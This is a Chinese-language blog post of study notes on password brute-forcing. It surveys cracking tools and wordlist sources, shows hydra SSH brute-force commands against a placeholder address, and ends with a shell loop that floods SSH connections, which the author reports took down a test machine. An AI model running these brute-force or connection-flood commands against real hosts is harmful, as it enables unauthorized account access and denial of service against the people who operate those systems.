文章目录
一 、引言
在扫描探测任务中, 经常会遇到一些开放的高危 端口, 这个时候,会忍不住想爆破一把试试, 期待好运降临, 万一爆破成功了呢?
笔者作为一个安全初学者, 主要关注以下几点:
- 当前网络上有哪些好的密码爆破工具,各自的优缺点是啥?
- 密码爆破的核心在于有一个强大的密码字典, 如何可以收集到密码字典 ?
- 如何自己生成一个好的密码字典?
- 如何提高密码爆破的效率和概率?(待深入研究)
- 介绍一下密码爆破的实际操作命令以及技巧
二、 密码爆破工具的调研以及介绍:
-
hydra: 这款密码爆破工具功能非常强大,支持的协议非常之多,比如常见的rdp、ssh、FTP、smb等, 本文主要介绍这种爆破工具的使用
-
Brutus:称最快最灵活对的密码破解工具,最早发布于2000年的Brutus是目前最流行的远程在线密码破解工具,目前该工具免费,但只有windows版本
-
RainbowCrack: RainbowCrack是一个哈希破解工具,无需自己生成彩虹表。
-
Wfuzz:Wfuzz是一个web应用密码暴力破解工具。
-
Cain and Abel : Cain and Abel是注明的多任务密码破解工具。值得注意的是该工具仅能运行于Windows平台,可以作为网络嗅探器使用,用字典攻击破解加密密码,记录VoIP对话,暴力攻击、密码分析攻击,恢复缓存密码和乱序密码等。
-
OphCrack: 是Windows平台上一个免费的基于彩虹表的密码破解工具,也是最流行的windows密码破解工具,也可以应用于Linux和Mac系统,能够破解LM和NTLM哈希表。
三、如何收集密码字典:
1. 主要获取方式
学习过程中, 主要获取密码字典的方式如下
-
对于密码字典, 推荐在github上寻找, 直接百度谷歌的, 要么比较凌乱,要么字典需要收费。
-
Kali 系统自带字典目录wordlists,路径为 /usr/share/wordlists/ , 可以了解并使用。
-
自制密码字典
2. 好的密码字典项目分享
- 在github上找到几个信息比较丰富的密码字典如下, 仅供参考
资源:
一、 https://github.com/huyuanzhi2/password_brute_dictionary
小结:
1. 这个项目中提供的密码字典的量级不多, 但是提供了一个自制密码的思路以及可以直接使用的密码列表,可以用作密码爆破的小试牛刀。
2. 包含项目作者自制字典的代码
二. https://github.com/rootphantomer/Blasting_dictionary
小结:
1. 这个项目中密码字典数量多,而且分类也比较充足,推荐使用
三 . https://github.com/TheKingOfDuck/fuzzDicts
小结:
其中包含各种爆破资源, 内容齐全, 对于密码爆破的字典也很优秀。
3、 思考
其实,想一想也明白:
- 密码爆破有可能无功而返。密码字典再多么强大, 要想直接爆破出密码也不是那么容易的, 如果被攻击者机器设置的密码不在自己的密码列表中, 在怎么爆破也是没有效果。
- 但是弱密码爆破也有一定的作用。 例如,安全意识不强的人, 容易直接保留初始密码或者直接使用弱密码, 这样被爆破成功的概率还是挺高的
- 渗透测试过程中, 如果获取了大量的账号信息, 可以使用弱口令进行爆破, 成功率较高。
- 对于特定的场景,可以自己生成密码字典。 结合自己设置密码的经历, 可以推测一般人设置密码的规则是容易自己记住的字符串的组合, 可能会加入一些特殊字符。 那么根据常用的字符串进行组合(自己定义规则), 生成一套密码字典,也是不错的方法
四、如何自制密码字典:
1. 使用密码生成工具
-
Weakpass是一款基于规则的在线字典生成器 ,可以帮助广大研究人员根据输入的单词集来创建自定义字典
项目地址:
https://github.com/zzzteph/weakpass
介绍: 介绍: 这个密码生成的平台, 可以根据已知的关键字定向的生成一些密码, 符合用户设置密码的习惯。 这种策略生成的密码,命中的概率可能会高一些。
- crunch–字典生成工具: Crunch是一种创建密码字典工具,按照指定的规则生成密码字典,可以灵活的制定自己的字典文件
破解密码时,有很多种破解密码的方法,比如:字典,彩虹表,蛮力等。如果我们知道设置密码的策略,那么使用Crunch生成特定的字典,那么Crunch将会是最有力的密码攻击工具。
github地址:
https://github.com/crunchsec/crunch https://github.com/jaalto/external-sf--crunch-wordlist
主要参考文章。
https://www.cnblogs.com/wpjamer/p/9913380.html
网络上介绍的资源也比较多, 自己暂时还没有仔细实践过, 后续有需求会生成密码列表尝试一下。
2. 自制密码生成脚本:
网络上也能搜索到一些使用python脚本自制密码的思路和工具, 其中有一个比较好,印象深刻, 分享一下:
https://zhuanlan.zhihu.com/p/61354645
五、 hydra 操作命令学习
这里主要介绍一下ssh的爆破操作, 其他协议的爆破可在网络上查找。
爆破命令
hydra 1.1.1.1 ssh -l user -P /root/Work/sshpasswd.list -t 6 -V -f
hydra -l root -P top6000.txt -t 10 -vV -e ns 1.1.1.1 ssh
命令详细:
攻击目标:1.1.1.1
使用的模块:ssh
爆破用户名:user (-l)
使用的密码字典:/root/Work/sshpasswd.list (-P)
爆破线程数:6 (-t)
显示详细信息 (-V)
爆破成功一个后停止 (-f)
空密码探测和指定用户密码探测(-e ns)
六、记录一次爆破实践 + ssh尝试拒绝服务攻击
-
不知有没有人遇到和我一样的情况,自己设定一个靶机, 爆破22端口ssh, 即使把正确密码放到字典列表中, 也会有可能爆破失败, 也只是概率性的成功(正确密码在列表第一个位置除外)。个人猜测, 这可能是ssh的配置起了作用, 在密码爆破时候,会限制用户登录。
-
思考: 基于上面的现象, 是否可以对暴露22端口的ip进行攻击, 大量尝试ssh连接受害机器, 这样是否可以造成拒绝服务访问呢?基于这个思考, 做了一次攻击试验,攻击代码如下:
while true;do ssh 1.1.1.1 & echo 'hello ssh!';done
其中1.1.1.1 为被攻击机器。
攻击机打印日志如下(打印速度较快):
Pseudo-terminal will not be allocated because stdin is not a terminal.
Pseudo-terminal will not be allocated because stdin is not a terminal.
Pseudo-terminal will not be allocated because stdin is not a terminal.
Pseudo-terminal will not be allocated because stdin is not a terminal.
kex_exchange_identification: Connection closed by remote host
kex_exchange_identification: Connection closed by remote host
kex_exchange_identification: Connection closed by remote host
Pseudo-terminal will not be allocated because stdin is not a terminal.
尝试连接被攻击机, 结果发现连接目标失败, 造成了拒绝服务访问攻击。
ssh 1.1.1.1
ssh_exchange_identification: Connection closed by remote host
结论:
- 从试验结果来看, 尝试攻击,确实是可以造成ssh拒绝服务访问的.
- 不过杀敌一千自损八百, 攻击机的资源占用也很高。
笔者对于密码爆破技能的学习还处于初步阶段, 对于相关技能以及背后的技术原理将会继续探究。